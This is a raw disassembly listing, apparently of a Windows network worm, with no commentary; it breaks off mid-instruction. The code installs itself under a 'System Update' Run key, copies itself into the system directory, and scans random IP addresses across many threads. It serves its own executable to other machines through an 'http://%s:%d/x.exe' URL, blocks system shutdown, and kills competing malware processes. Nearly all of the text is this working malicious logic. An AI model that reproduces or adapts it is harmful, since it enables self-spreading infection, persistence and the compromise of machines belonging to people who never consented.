push eax push ebx call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jnz short loc_31501A93 push 1 jmp loc_31501B4E ; --------------------------------------------------------------------------- loc_31501A93: ; CODE XREF: sub_31501A62+28j mov esi, dword_31501120 lea eax, [ebp+var_100] push offset aGet ; "GET" push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_31501B5E lea eax, [ebp+var_100] push offset a_exe ; ".exe" push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_31501B5E mov esi, dword_3150119C push 0 push 3Dh push offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"... push ebx call esi ; send push ds:dword_31506160 lea eax, [ebp+var_200] push offset aContentLengthU ; "Content-Length: %u\r\n\r\n" push eax call dword_3150113C ; wsprintfA add esp, 0Ch lea eax, [ebp+var_200] push 0 push eax call sub_31503A3E ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push ebx call esi ; send loc_31501B10: ; CODE XREF: sub_31501A62+E8j mov eax, ds:dword_31506160 mov ecx, 1000h sub eax, edi cmp eax, ecx jb short loc_31501B22 mov eax, ecx loc_31501B22: ; CODE XREF: sub_31501A62+BCj test eax, eax jz short loc_31501B51 push 0 push eax mov eax, ds:dword_31506158 add eax, edi push eax push ebx call esi ; send cmp eax, 0FFFFFFFFh jz short loc_31501B4C cmp eax, 1000h jb short loc_31501B51 push 64h add edi, eax call dword_315010A4 ; Sleep jmp short loc_31501B10 ; --------------------------------------------------------------------------- loc_31501B4C: ; CODE XREF: sub_31501A62+D5j push 2 loc_31501B4E: ; CODE XREF: sub_31501A62+2Cj pop eax jmp short loc_31501BA1 ; --------------------------------------------------------------------------- loc_31501B51: ; CODE XREF: sub_31501A62+C2j ; sub_31501A62+DCj push offset dword_3150615C call dword_315010E4 ; InterlockedIncrement jmp short loc_31501B7C ; --------------------------------------------------------------------------- loc_31501B5E: ; CODE XREF: sub_31501A62+49j ; sub_31501A62+61j mov esi, dword_3150119C push 0 push 15h push offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n" push ebx call esi ; send push 0 push 3 push offset dword_31505A84 push ebx call esi ; send loc_31501B7C: ; CODE XREF: sub_31501A62+FAj push 7D0h call dword_315010A4 ; Sleep push 2 push ebx call dword_315011A4 ; shutdown push ebx call dword_315011A8 ; closesocket push 0 call dword_315010E0 ; ExitThread xor eax, eax loc_31501BA1: ; CODE XREF: sub_31501A62+EDj pop edi pop esi pop ebx leave retn 4 sub_31501A62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501BA8 proc near ; DATA XREF: sub_31501D96+14Bo var_130 = byte ptr -130h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 130h push ebx push edi call sub_315018BA lea eax, [ebp+var_130] push 104h push eax push offset aSystemUpdate ; "System Update" xor ebx, ebx push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov ds:dword_3150615C, ebx call sub_315023E4 add esp, 14h test eax, eax jnz loc_31501CDD push esi push ebx push ebx push 3 push ebx push 1 lea eax, [ebp+var_130] push 80000000h push eax call dword_315010F0 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_31501C14 push 1 call dword_315010E0 ; ExitThread loc_31501C14: ; CODE XREF: sub_31501BA8+62j push ebx push esi call dword_315010EC ; GetFileSize push eax mov ds:dword_31506160, eax call sub_31502800 pop ecx mov ds:dword_31506158, eax lea ecx, [ebp+var_4] push ebx push ecx push ds:dword_31506160 push eax push esi call dword_315010E8 ; ReadFile mov eax, [ebp+var_4] push esi mov ds:dword_31506160, eax call dword_315010BC ; CloseHandle push ebx push 1 push 2 call dword_3150118C ; socket push 10h mov edi, eax pop esi lea eax, [ebp+var_18] push esi push ebx push eax call sub_31503A38 ; memset add esp, 0Ch mov [ebp+var_18], 2 mov [ebp+var_14], ebx loc_31501C76: ; CODE XREF: sub_31501BA8+E5j ; sub_31501BA8+EDj ... call dword_31501124 ; rand add eax, 7D0h and eax, 1FFFh cmp al, bl mov ds:dword_3150618C, eax jz short loc_31501C76 xor ecx, ecx mov cl, ah test cl, cl jz short loc_31501C76 push eax call dword_31501194 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_18] push esi push eax push edi call dword_31501170 ; bind test eax, eax jnz short loc_31501C76 push 64h push edi call dword_31501174 ; listen mov [ebp+var_8], esi pop esi loc_31501CBF: ; CODE XREF: sub_31501BA8+133j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_28] push eax push edi call dword_31501178 ; accept push eax push offset sub_31501A62 call sub_31501911 pop ecx pop ecx jmp short loc_31501CBF ; --------------------------------------------------------------------------- loc_31501CDD: ; CODE XREF: sub_31501BA8+3Dj push ebx call dword_315010E0 ; ExitThread pop edi xor eax, eax pop ebx leave retn 4 sub_31501BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501CEC proc near ; CODE XREF: sub_31501D96:loc_31501EB6p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h lea eax, [ebp+var_190] push esi mov esi, dword_3150116C push eax push 2 call esi ; WSAStartup lea eax, [ebp+var_190] push eax push 102h call esi ; WSAStartup pop esi leave retn sub_31501CEC endp ; --------------------------------------------------------------------------- loc_31501D18: ; CODE XREF: UPX1:31508558j push 0 call dword_315010C4 ; GetModuleHandleA push offset aFtpupd_exe ; "ftpupd.exe" mov ds:dword_31506190, eax call dword_31501094 ; DeleteFileA call sub_315018BA push offset aUterm13_2i ; "uterm13.2i" call sub_315018E8 pop ecx mov ds:dword_31506164, eax call dword_31501098 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_31501D5A push 1 call dword_3150109C ; ExitProcess loc_31501D5A: ; CODE XREF: UPX0:31501D50j call sub_31501727 call sub_31502548 call sub_315026C2 push offset sub_31501D96 call sub_315017AF test eax, eax pop ecx jz short loc_31501D7F push 0 call sub_31501D96 loc_31501D7F: ; CODE XREF: UPX0:31501D76j xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_31501D82 proc near ; CODE XREF: sub_31501D96:loc_31501F04p ; sub_315020C4:loc_315020DDp ... push 0 push ds:dword_31506168 call dword_31501090 ; WaitForSingleObject neg eax sbb eax, eax inc eax retn sub_31501D82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501D96 proc near ; CODE XREF: UPX0:31501D7Ap ; DATA XREF: UPX0:31501D69o var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_315011B0 push offset loc_31503A80 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi push offset aU13_2ix ; "u13.2ix" xor edi, edi push edi push 1 push edi call dword_3150108C ; CreateEventA mov ds:dword_31506168, eax mov [ebp+var_4], edi push offset aU10x ; "u10x" call sub_31501A48 mov [esp+8+var_8], offset aU11x ; "u11x" call sub_31501A48 mov [esp+8+var_8], offset aU12x ; "u12x" call sub_31501A48 mov [esp+8+var_8], offset aU13x ; "u13x" call sub_31501A48 mov [esp+8+var_8], offset aU13ix ; "u13ix" call sub_31501A48 mov [esp+8+var_8], offset aU8 ; "u8" call sub_315018E8 mov [esp+8+var_8], offset aU9 ; "u9" call sub_315018E8 mov [esp+8+var_8], offset aU10 ; "u10" call sub_315018E8 mov [esp+8+var_8], offset aU11 ; "u11" call sub_315018E8 mov [esp+8+var_8], offset aU12 ; "u12" call sub_315018E8 mov [esp+8+var_8], offset aU13 ; "u13" call sub_315018E8 mov [esp+8+var_8], offset aU13i ; "u13i" call sub_315018E8 mov [esp+8+var_8], offset aU13_2i ; "u13.2i" call sub_315018E8 mov [esp+8+var_8], offset aU14 ; "u14" call sub_315018E8 pop ecx cmp [ebp+arg_0], edi jz short loc_31501EB6 push offset aWs2_32 ; "ws2_32" mov esi, dword_315010B4 call esi ; LoadLibraryA push offset aWininet ; "wininet" call esi ; LoadLibraryA push offset aMsvcrt ; "msvcrt" call esi ; LoadLibraryA push offset aAdvapi32 ; "advapi32" call esi ; LoadLibraryA push offset aUser32 ; "user32" call esi ; LoadLibraryA push offset aUterm13_2i ; "uterm13.2i" call sub_315018E8 pop ecx mov ds:dword_31506164, eax loc_31501EB6: ; CODE XREF: sub_31501D96+E5j call sub_31501CEC push edi push offset sub_31501F6B call sub_31501911 pop ecx pop ecx push 1F4h mov esi, dword_315010A4 call esi ; Sleep push edi push offset loc_31503408 call sub_315018F7 push edi push offset sub_31501BA8 call sub_315018F7 push edi push offset sub_31502BE8 call sub_315018F7 push edi push offset loc_315022D3 call sub_315018F7 add esp, 20h loc_31501F04: ; CODE XREF: sub_31501D96+185j call sub_31501D82 test eax, eax jnz short loc_31501F1D push edi call dword_31501038 ; AbortSystemShutdownA push 1388h call esi ; Sleep jmp short loc_31501F04 ; --------------------------------------------------------------------------- loc_31501F1D: ; CODE XREF: sub_31501D96+175j or [ebp+var_4], 0FFFFFFFFh call nullsub_1 xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_31501D96 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_31501F3A proc near ; CODE XREF: sub_31501F6B+F9p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_31503A3E ; strlen test eax, eax pop ecx jbe short loc_31501F68 loc_31501F4D: ; CODE XREF: sub_31501F3A+2Cj mov al, [esi+edi] cmp al, 0Ah jz short loc_31501F58 cmp al, 0Dh jnz short loc_31501F5C loc_31501F58: ; CODE XREF: sub_31501F3A+18j and byte ptr [esi+edi], 0 loc_31501F5C: ; CODE XREF: sub_31501F3A+1Cj push edi inc esi call sub_31503A3E ; strlen cmp esi, eax pop ecx jb short loc_31501F4D loc_31501F68: ; CODE XREF: sub_31501F3A+11j pop edi pop esi retn sub_31501F3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501F6B proc near ; DATA XREF: sub_31501D96+126o var_154 = dword ptr -154h var_148 = byte ptr -148h var_48 = byte ptr -48h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 148h push ebx mov [ebp+var_8], esp call sub_315018BA call dword_31501124 ; rand push 4 cdq pop ecx idiv ecx lea eax, [ebp+var_48] add edx, 3 push edx push eax call sub_31501932 lea eax, [ebp+var_48] mov ebx, offset dword_3150616C push eax push ebx call sub_31503A8C ; strcpy add esp, 10h mov [ebp+var_4], 10h push 0 push 1 push 2 call dword_3150118C ; socket push 0 mov [ebp+var_8], eax mov [ebp+var_18], 2 call dword_31501168 ; ntohl push 71h mov [ebp+var_14], eax call dword_31501194 ; ntohs push [ebp+var_4] mov [ebp+var_16], ax lea eax, [ebp+var_18] push eax push [ebp+var_8] call dword_31501170 ; bind test eax, eax jz short loc_31501FF7 push 1 pop eax loc_31501FF2: ; CODE XREF: sub_31501F6B+A2j pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_31501FF7: ; CODE XREF: sub_31501F6B+82j push esi push edi push 5 push [ebp+var_8] call dword_31501174 ; listen test eax, eax jz short loc_3150200F push 1 pop eax pop edi pop esi jmp short loc_31501FF2 ; --------------------------------------------------------------------------- loc_3150200F: ; CODE XREF: sub_31501F6B+9Bj mov edi, dword_315010A4 loc_31502015: ; CODE XREF: sub_31501F6B+C6j ; sub_31501F6B+E8j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+var_8] call dword_31501178 ; accept mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_31502033 push 64h call edi ; Sleep jmp short loc_31502015 ; --------------------------------------------------------------------------- loc_31502033: ; CODE XREF: sub_31501F6B+C0j push 0 lea eax, [ebp+var_148] push 100h push eax push esi call dword_315011A0 ; recv test eax, eax jnz short loc_31502055 loc_3150204C: ; CODE XREF: sub_31501F6B+157j push esi call dword_315011A8 ; closesocket jmp short loc_31502015 ; --------------------------------------------------------------------------- loc_31502055: ; CODE XREF: sub_31501F6B+DFj and [ebp+eax+var_148], 0 lea eax, [ebp+var_148] push eax call sub_31501F3A lea eax, [ebp+var_148] mov [esp+154h+var_154], offset aUseridUnix ; " : USERID : UNIX : " push eax call sub_31503A86 ; strcat lea eax, [ebp+var_148] push ebx push eax call sub_31503A86 ; strcat lea eax, [ebp+var_148] push offset asc_31505B8C ; "\r\n" push eax call sub_31503A86 ; strcat add esp, 18h lea eax, [ebp+var_148] push 0 push eax call sub_31503A3E ; strlen pop ecx push eax lea eax, [ebp+var_148] push eax push esi call dword_3150119C ; send push 1388h call edi ; Sleep jmp short loc_3150204C sub_31501F6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315020C4 proc near ; DATA XREF: sub_31502128+55o ; sub_315021B0+6Ao ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_315020D3 push 1 pop eax jmp short locret_31502124 ; --------------------------------------------------------------------------- loc_315020D3: ; CODE XREF: sub_315020C4+8j mov al, byte ptr [ebp+arg_0+3] push ebx push esi mov [ebp+var_1], al xor bl, bl loc_315020DD: ; CODE XREF: sub_315020C4+5Aj call sub_31501D82 test eax, eax jnz short loc_31502120 call sub_31501A32 test eax, eax jz short loc_31502120 cmp [ebp+var_1], bl jz short loc_31502119 mov byte ptr [ebp+arg_0+3], bl push [ebp+arg_0] call sub_315011C0 movzx esi, ds:word_3150619C pop ecx call dword_31501124 ; rand cdq idiv esi add edx, esi push edx call dword_315010A4 ; Sleep loc_31502119: ; CODE XREF: sub_315020C4+2Ej inc bl cmp bl, 0FFh jb short loc_315020DD loc_31502120: ; CODE XREF: sub_315020C4+20j ; sub_315020C4+29j pop esi xor eax, eax pop ebx locret_31502124: ; CODE XREF: sub_315020C4+Dj leave retn 4 sub_315020C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502128 proc near ; DATA XREF: sub_315021B0+7Eo ; UPX0:31502365o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_31502136 push 1 pop eax jmp short loc_315021AC ; --------------------------------------------------------------------------- loc_31502136: ; CODE XREF: sub_31502128+7j push ebx push esi push edi call sub_315018BA mov esi, dword_31501124 xor ebx, ebx loc_31502146: ; CODE XREF: sub_31502128+7Dj call sub_31501D82 test eax, eax jnz short loc_315021A7 call sub_31501A32 test eax, eax jz short loc_315021A7 call esi ; rand mov byte ptr [ebp+arg_0+2], al call esi ; rand push offset dword_31506194 mov byte ptr [ebp+arg_0+3], al call dword_315010E4 ; InterlockedIncrement push [ebp+arg_0] call sub_315011C0 test eax, eax pop ecx jnz short loc_31502189 push [ebp+arg_0] push offset sub_315020C4 call sub_31501911 pop ecx pop ecx loc_31502189: ; CODE XREF: sub_31502128+50j movzx edi, ds:word_3150619C call esi ; rand cdq idiv edi add edx, edi push edx call dword_315010A4 ; Sleep inc ebx cmp ebx, 8000h jl short loc_31502146 loc_315021A7: ; CODE XREF: sub_31502128+25j ; sub_31502128+2Ej pop edi pop esi xor eax, eax pop ebx loc_315021AC: ; CODE XREF: sub_31502128+Cj pop ebp retn 4 sub_31502128 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315021B0 proc near ; DATA XREF: UPX0:3150237Do var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx call sub_315018BA call sub_31501D82 test eax, eax jnz loc_31502269 push ebx mov ebx, dword_315010A4 push esi mov esi, dword_31501124 push edi loc_315021D6: ; CODE XREF: sub_315021B0+48j ; sub_315021B0+B0j call esi ; rand mov byte ptr [ebp+var_4+1], al call esi ; rand mov byte ptr [ebp+var_4+3], al call esi ; rand mov byte ptr [ebp+var_4+2], al loc_315021E5: ; CODE XREF: sub_315021B0+3Cj call esi ; rand cmp al, 7Fh mov byte ptr [ebp+var_4], al jz short loc_315021E5 call sub_315019F3 mov edi, [ebp+var_4] cmp edi, eax jz short loc_315021D6 call sub_31501A32 test eax, eax jz short loc_31502241 push offset dword_31506194 call dword_315010E4 ; InterlockedIncrement push edi call sub_315011C0 test eax, eax pop ecx jnz short loc_31502248 push edi push offset sub_315020C4 call sub_31501911 pop ecx mov [ebp+var_8], 4 pop ecx loc_3150222D: ; CODE XREF: sub_315021B0+8Dj push edi push offset sub_31502128 call sub_31501911 dec [ebp+var_8] pop ecx pop ecx jnz short loc_3150222D jmp short loc_31502248 ; --------------------------------------------------------------------------- loc_31502241: ; CODE XREF: sub_315021B0+51j push 2710h call ebx ; Sleep loc_31502248: ; CODE XREF: sub_315021B0+67j ; sub_315021B0+8Fj movzx edi, ds:word_3150619C call esi ; rand cdq idiv edi add edx, edi push edx call ebx ; Sleep call sub_31501D82 test eax, eax jz loc_315021D6 pop edi pop esi pop ebx loc_31502269: ; CODE XREF: sub_315021B0+11j push 0 call dword_315010E0 ; ExitThread xor eax, eax leave retn 4 sub_315021B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502277 proc near ; CODE XREF: UPX0:loc_3150233Ep ; UPX0:loc_315023A8p var_50 = byte ptr -50h var_28 = byte ptr -28h push ebp mov ebp, esp sub esp, 50h push esi call sub_315019F3 push eax call dword_31501190 ; inet_ntoa mov esi, dword_31501088 push eax lea eax, [ebp+var_28] push eax call esi ; lstrcpyA push ds:dword_3150618C lea eax, [ebp+var_28] push eax lea eax, [ebp+var_50] push offset aHttpSDX_exe ; "http://%s:%d/x.exe" push eax call dword_3150113C ; wsprintfA add esp, 10h lea eax, [ebp+var_50] push eax push offset word_31505002 call esi ; lstrcpyA push offset byte_31505000 call dword_315010A0 ; lstrlenA mov byte_31505000[eax], 0DFh pop esi leave retn sub_31502277 endp ; --------------------------------------------------------------------------- loc_315022D3: ; DATA XREF: sub_31501D96+161o push ecx push ecx push ebx push ebp push esi xor ebp, ebp push edi mov ds:dword_31506194, ebp call sub_31501A32 mov esi, dword_315010A4 mov edi, 1388h test eax, eax jnz short loc_31502301 loc_315022F5: ; CODE XREF: UPX0:315022FFj push edi call esi ; Sleep call sub_31501A32 test eax, eax jz short loc_315022F5 loc_31502301: ; CODE XREF: UPX0:315022F3j lea eax, [esp+14h] push ebp push eax call dword_3150115C ; InternetGetConnectedState test byte ptr [esp+14h], 2 push 50h mov ds:dword_31506198, ebp pop ebx mov ds:word_3150619C, 96h jz short loc_3150233E mov ds:dword_31506198, 1 mov ebx, 15Eh mov ds:word_3150619C, 14h loc_3150233E: ; CODE XREF: UPX0:31502324j call sub_31502277 mov ebp, [esp+14h] cmp ebp, 100007Fh jz short loc_3150235C push ebp push offset sub_315020C4 call sub_31501911 pop ecx pop ecx loc_3150235C: ; CODE XREF: UPX0:3150234Dj mov dword ptr [esp+10h], 4 loc_31502364: ; CODE XREF: UPX0:31502375j push ebp push offset sub_31502128 call sub_31501911 dec dword ptr [esp+18h] pop ecx pop ecx jnz short loc_31502364 test ebx, ebx jle short loc_3150238C loc_3150237B: ; CODE XREF: UPX0:3150238Aj push 0 push offset sub_315021B0 call sub_31501911 pop ecx dec ebx pop ecx jnz short loc_3150237B loc_3150238C: ; CODE XREF: UPX0:31502379j ; UPX0:31502398j ... call sub_31501A32 test eax, eax jz short loc_3150239A push edi call esi ; Sleep jmp short loc_3150238C ; --------------------------------------------------------------------------- loc_3150239A: ; CODE XREF: UPX0:31502393j ; UPX0:315023A6j call sub_31501A32 test eax, eax jnz short loc_315023A8 push edi call esi ; Sleep jmp short loc_3150239A ; --------------------------------------------------------------------------- loc_315023A8: ; CODE XREF: UPX0:315023A1j call sub_31502277 jmp short loc_3150238C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315023AF proc near ; CODE XREF: sub_31502548+8Cp ; sub_315026C2+11Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_3150102C ; RegOpenKeyExA test eax, eax jnz short loc_315023E2 push [ebp+arg_8] push [ebp+arg_4] call dword_31501030 ; RegDeleteValueA push [ebp+arg_4] call dword_31501034 ; RegCloseKey loc_315023E2: ; CODE XREF: sub_315023AF+1Cj pop ebp retn sub_315023AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315023E4 proc near ; CODE XREF: sub_31501BA8+33p ; sub_31502548+7Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_10] push esi mov [ebp+var_4], eax lea eax, [ebp+arg_10] push eax xor esi, esi push 0F003Fh push esi push [ebp+arg_4] push [ebp+arg_0] call dword_3150102C ; RegOpenKeyExA test eax, eax jz short loc_31502410 push 1 pop eax jmp short loc_3150243A ; --------------------------------------------------------------------------- loc_31502410: ; CODE XREF: sub_315023E4+25j lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push [ebp+arg_C] push eax push esi push [ebp+arg_8] push [ebp+arg_10] call dword_31501028 ; RegQueryValueExA test eax, eax jz short loc_3150242F push 2 pop esi loc_3150242F: ; CODE XREF: sub_315023E4+46j push [ebp+arg_10] call dword_31501034 ; RegCloseKey mov eax, esi loc_3150243A: ; CODE XREF: sub_315023E4+2Aj pop esi leave retn sub_315023E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3150243D proc near ; CODE XREF: sub_315025F6+96p ; sub_315026C2+7Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi xor esi, esi lea eax, [ebp+arg_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push [ebp+arg_4] push [ebp+arg_0] call dword_31501020 ; RegCreateKeyExA test eax, eax jz short loc_31502466 push 1 pop eax jmp short loc_3150248D ; --------------------------------------------------------------------------- loc_31502466: ; CODE XREF: sub_3150243D+22j push [ebp+arg_10] push [ebp+arg_C] push 1 push esi push [ebp+arg_8] push [ebp+arg_4] call dword_31501024 ; RegSetValueExA test eax, eax jz short loc_31502482 push 2 pop esi loc_31502482: ; CODE XREF: sub_3150243D+40j push [ebp+arg_4] call dword_31501034 ; RegCloseKey mov eax, esi loc_3150248D: ; CODE XREF: sub_3150243D+27j pop esi pop ebp retn sub_3150243D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502490 proc near ; CODE XREF: sub_31502548+98p var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx mov ebx, [ebp+arg_0] push esi push ebx call dword_315010A0 ; lstrlenA mov esi, eax dec esi test esi, esi jle loc_31502544 loc_315024B0: ; CODE XREF: sub_31502490+27j cmp byte ptr [esi+ebx], 5Ch jz short loc_315024B9 dec esi jns short loc_315024B0 loc_315024B9: ; CODE XREF: sub_31502490+24j push 0 push 2 call sub_31503ABC ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_31502544 push 128h lea eax, [ebp+var_128] push 0 push eax call sub_31503A38 ; memset add esp, 0Ch lea eax, [ebp+var_128] mov [ebp+var_128], 128h push eax push [ebp+arg_0] call sub_31503AB6 ; Process32First test eax, eax jz short loc_31502544 lea esi, [esi+ebx+1] loc_31502501: ; CODE XREF: sub_31502490+B2j lea eax, [ebp+var_104] push eax push esi call dword_31501120 ; strstr pop ecx test eax, eax pop ecx jz short loc_31502531 push [ebp+var_120] push 0 push 1F0FFFh call dword_315010C0 ; OpenProcess push 0 push eax call dword_31501080 ; TerminateProcess loc_31502531: ; CODE XREF: sub_31502490+83j lea eax, [ebp+var_128] push eax push [ebp+arg_0] call sub_31503AB0 ; Process32Next test eax, eax jnz short loc_31502501 loc_31502544: ; CODE XREF: sub_31502490+1Aj ; sub_31502490+38j ... pop esi pop ebx leave retn sub_31502490 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502548 proc near ; CODE XREF: UPX0:31501D5Fp var_138 = byte ptr -138h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 138h push ebx push esi lea eax, [ebp+var_30] push edi mov [ebp+var_30], offset aWindowsSecurit ; "Windows Security Manager" mov [ebp+var_2C], offset aDiskDefragment ; "Disk Defragmenter" mov [ebp+var_28], offset aSystemRestoreS ; "System Restore Service" mov [ebp+var_24], offset aBotLoader ; "Bot Loader" mov [ebp+var_20], offset aSystray ; "SysTray" mov [ebp+var_1C], offset aWinupdate ; "WinUpdate" mov [ebp+var_18], offset aWindowsUpdateS ; "Windows Update Service" mov [ebp+var_14], offset aAvserve_exe ; "avserve.exe" mov [ebp+var_10], offset aAvserve2_exeup ; "avserve2.exeUpdate Service" mov [ebp+var_C], offset aMsConfigV13 ; "MS Config v13" mov [ebp+var_4], eax mov [ebp+var_8], 0Ah mov edi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov esi, 80000002h loc_315025B1: ; CODE XREF: sub_31502548+A7j mov eax, [ebp+var_4] push 104h mov ebx, [eax] lea eax, [ebp+var_138] push eax push ebx push edi push esi call sub_315023E4 add esp, 14h test eax, eax jnz short loc_315025E8 push ebx push edi push esi call sub_315023AF lea eax, [ebp+var_138] push eax call sub_31502490 add esp, 10h loc_315025E8: ; CODE XREF: sub_31502548+87j add [ebp+var_4], 4 dec [ebp+var_8] jnz short loc_315025B1 pop edi pop esi pop ebx leave retn sub_31502548 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315025F6 proc near ; CODE XREF: sub_315026C2+D1p ; sub_315026C2+132p var_78 = byte ptr -78h var_14 = byte ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 78h cmp [ebp+arg_0], 0 jz short loc_3150260B push [ebp+arg_0] call dword_31501094 ; DeleteFileA loc_3150260B: ; CODE XREF: sub_315025F6+Aj lea eax, [ebp+var_78] push 63h push eax call dword_31501068 ; GetSystemDirectoryA test eax, eax jz locret_315026C0 push esi call dword_31501124 ; rand and eax, 3 add eax, 5 push eax lea eax, [ebp+var_14] push eax call sub_31501932 mov esi, dword_3150106C pop ecx pop ecx lea eax, [ebp+var_14] push offset a_exe ; ".exe" push eax call esi ; lstrcatA lea eax, [ebp+var_78] push offset asc_31505CF0 ; "\\" push eax call esi ; lstrcatA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_78] push eax call esi ; lstrcatA lea eax, [ebp+var_78] push 0 push eax push [ebp+arg_4] call dword_31501070 ; CopyFileA lea eax, [ebp+var_78] push eax call dword_315010A0 ; lstrlenA inc eax push eax lea eax, [ebp+var_78] push eax push offset aSystemUpdate ; "System Update" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_3150243D add esp, 14h push ds:dword_31506164 call dword_315010BC ; CloseHandle lea eax, [ebp+var_78] push 0 push eax call dword_31501074 ; WinExec push 1F4h call dword_315010A4 ; Sleep push 0 call dword_3150109C ; ExitProcess pop esi locret_315026C0: ; CODE XREF: sub_315025F6+23j leave retn sub_315025F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315026C2 proc near ; CODE XREF: UPX0:31501D64p var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi lea eax, [ebp+var_84] push 63h push eax push 0 call dword_31501060 ; GetModuleFileNameA test eax, eax jz loc_315027FB and ds:dword_315061A0, 0 lea eax, [ebp+var_20] push 1Dh push eax mov edi, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless" push offset aId ; "ID" mov esi, 80000002h push edi push esi call sub_315023E4 add esp, 14h test eax, eax jz short loc_31502748 call dword_31501124 ; rand push 0Ah mov ebx, offset aDfashnzdsdl ; "dfashnzdsdl" cdq pop ecx idiv ecx add edx, ecx push edx push ebx call sub_31501932 pop ecx pop ecx push ebx call dword_315010A0 ; lstrlenA inc eax push eax push ebx push offset aId ; "ID" push edi push esi call sub_3150243D add esp, 14h jmp short loc_31502757 ; --------------------------------------------------------------------------- loc_31502748: ; CODE XREF: sub_315026C2+4Dj lea eax, [ebp+var_20] push eax push offset aDfashnzdsdl ; "dfashnzdsdl" call dword_31501088 ; lstrcpyA loc_31502757: ; CODE XREF: sub_315026C2+84j lea eax, [ebp+var_E8] push 63h push eax push offset aSystemUpdate ; "System Update" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi call sub_315023E4 add esp, 14h test eax, eax jz short loc_3150279D push 2 push offset a1 ; "1" push offset aClient ; "Client" push edi push esi call sub_3150243D lea eax, 